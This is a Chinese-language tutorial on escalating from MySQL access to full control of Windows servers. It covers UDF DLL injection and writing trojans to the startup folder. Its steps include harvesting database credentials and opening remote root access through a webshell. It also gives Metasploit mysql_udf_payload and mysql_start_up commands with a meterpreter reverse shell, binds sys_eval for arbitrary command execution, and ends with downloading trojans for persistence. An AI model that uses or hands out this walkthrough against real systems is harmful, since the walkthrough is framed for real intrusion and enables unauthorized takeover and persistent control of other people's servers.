目录
数据库提权的基本条件
MySQL UDF提权
什么是UDF
UDF如何应用到提权
利用思路
MSF提权实战
MySQL 启动项提权
原理:通过MySQL数据库把木马写到Windows启动项中
Windows启动项位置
MSF提权利用实战
MySQL 反弹shell提权
数据库提权的基本条件
- 知道数据最高权限的用户密码
- 数据库允许外链
- mysql.ini(数据库配置文件)中 secure-file-priv开启对写文件目录进行了限制
获取密码的方式:
1. 网站存在SQL注入点
2. 数据库的存储文件或备份文件
在数据库有几个文件记录着密码比如:MySQL数据库的,/MySQL/data/mysql
有三个uesr.MYD,user.MYI,user.frm,其中就有可能有密码的存储
3. 网站数据库连接配置文件,就可能有网站的配置文件
4. 弱口令爆破
第二,三种往往是我们拿到数据库权限之后
MySQL UDF提权
我们需要了解它的基本原理以及基本的利用手法
什么是UDF
udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。
UDF如何应用到提权
假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。
其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
利用思路
- 开启对方MySQL数据库的外链
- 使用MSF提权,会生成一个dll文件
- 把dll文件与sys_eval绑定到一起
- 通过sys_eval()进行命令执行
- 上线木马,实现持久化控制
MSF提权实战
限制条件:
- 数据库最高权限用户的账号密码
- 能够登录到对方的MySQL数据上(数据库支持外链)
MySQL数据库是禁止开启外部连接的,但是也是有办法克服的
我们需要在对方机器上,登录数据库,执行下面的命令,就可以开启外链
这一步可以使用哥斯拉,蚁剑连接上目标机器上的Webshell,提供这个Webshell进行数据库连接相当于在本地进行连接。
一般情况下都是先通过webshell连接数据库来开启外链,因为后续的MSF的利用上是属于外链的。
在webshell执行开启外链的命令
GRANT ALL PRIVILEGES ON *.* TO '账号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
之后使用MSF进行测试:
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set username root
set password root
set rhosts 47.102.195.100
run
根据数据库的不同,会有一个dll文件生成在不同的目录
- mysql < 5.2 导出到目录 c:/windows或system32
- mysql => 5.2 到处安装目录 /lib/plugin 如果没有这个目录,可以手动创建
之后我们可以通过这个文件执行命令,这一步可以通过Navicat来完成
首先在数据库内执行命令
select * from mysql.func where name="sys_exec";
再创建一个sys_eval()绑定dll用来执行命令,MySQL的mysql.func种记录着绑定的信息
create function sys_eval returns string soname "pZzTLcMH.dll";
命令执行:
之后可以远程下载木马,上线。
MySQL 启动项提权
限制条件:
- 数据库最高权限用户的账号密码
- 数据库可外链
原理:通过MySQL数据库把木马写到Windows启动项中
Windows启动项位置
windows查看启动项命令:msconfig
- 用户自动其文件夹
win+r 后输入:shell:startup
- 系统自启动文件夹
win+r 后输入:%programdata%\Microsoft\Windows\Start Menu\Programs\Startup
然后将启动的快捷方式放入文件夹中即可
MSF提权利用实战
use exploit/windows/mysql/mysql_start_up
set username root
set password root
set rhost 192.168.226.136 //设置攻击主机
set AllowNoCleanup true
run
之后等待对方服务器上线即可
这是写入到系统启动项提权上了
MySQL 反弹shell提权
参考文章:https://www.cnblogs.com/bonelee/p/15864513.html
其本质也是借助UDF进行提权
在我们实战中常用到的也就是UDF提权和启动项提权。